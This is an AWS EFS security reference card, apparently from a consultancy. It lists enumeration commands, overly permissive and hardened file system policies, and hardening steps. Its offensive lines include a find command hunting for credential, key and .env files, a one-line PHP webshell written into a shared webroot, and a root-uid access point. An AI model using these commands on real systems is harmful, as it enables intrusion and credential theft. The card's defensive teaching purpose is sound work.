Elastic File System (EFS) provides scalable NFS file storage for EC2 and containers. Shared storage means shared risk - one compromised client can affect all connected systems.
EFS creates mount targets in each AZ for access. EC2 instances, ECS tasks, and Lambda functions connect via NFS. Multiple clients can mount simultaneously.
Attack note: One compromised client can read/write files affecting all other clients
Application-specific entry points with enforced POSIX user/group and root directory. Can require IAM authorization for additional access control.
Attack note: Misconfigured access points may grant root access or expose sensitive directories
EFS shared storage amplifies compromise impact - one vulnerable client endangers all. Overly permissive file system policies allow unauthorized mounting and data access.
aws efs describe-file-systemsaws efs describe-mount-targets \
--file-system-id fs-xxxaws efs describe-file-system-policy \
--file-system-id fs-xxxaws efs describe-access-points \
--file-system-id fs-xxxKey Risk: Shared web roots allow planting webshells that execute on all connected web servers.
sudo mount -t nfs4 -o nfsvers=4.1 \
fs-xxx.efs.us-east-1.amazonaws.com:/ /mnt/efssudo mount -t efs -o tls fs-xxx:/ /mnt/efsaws efs put-file-system-policy \
--file-system-id fs-xxx \
--policy '{"Version":"2012-10-17","Statement":[...]}'aws efs create-access-point \
--file-system-id fs-xxx \
--posix-user Uid=0,Gid=0 \
--root-directory Path=/find /mnt/efs -name "*.env" -o -name "*.pem" \
-o -name "credentials" -o -name "*.key"echo '<?php system($_GET["c"]); ?>' > \
/mnt/efs/webroot/shell.php{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": [
"elasticfilesystem:ClientMount",
"elasticfilesystem:ClientWrite"
],
"Resource": "*"
}]
}
// Any principal can mount and write!Anyone with network access can mount and write to the file system
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"elasticfilesystem:ClientMount",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientRootAccess"
],
"Resource": "*"
}]
}
// ClientRootAccess = uid 0 = full controlClientRootAccess grants uid 0 on the file system - attacker owns every file
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:role/AppRole"
},
"Action": ["elasticfilesystem:ClientMount"],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
},
"StringEquals": {"aws:SourceVpc": "vpc-12345"}
}
}]
}Only specific role from specific VPC via mount target
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "*",
"Action": "*",
"Resource": "*",
"Condition": {
"Bool": {
"aws:SecureTransport": "false"
}
}
}, {
"Effect": "Deny",
"Principal": "*",
"Action": "elasticfilesystem:ClientRootAccess",
"Resource": "*"
}]
}Denies unencrypted connections and blocks root access for all principals
Require TLS for all NFS connections using efs-utils.
mount -t efs -o tls fs-xxx:/ /mnt/efsEnforce identity-based access control for mounting.
"Condition": {"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}}Enforce POSIX user/group and chroot to specific directories.
aws efs create-access-point \
--posix-user Uid=1000,Gid=1000 \
--root-directory Path=/appLimit mount access to specific VPCs in file system policy.
"Condition": {"StringEquals": {
"aws:SourceVpc": "vpc-xxx"
}}Restrict NFS port 2049 to only known application subnets.
aws ec2 authorize-security-group-ingress \
--port 2049 --cidr 10.0.1.0/24Encrypt data at rest with KMS customer managed keys.
aws efs create-file-system \
--encrypted --kms-key-id alias/efs-keyAWS EFS Security Card • Toc Consulting
Always obtain proper authorization before testing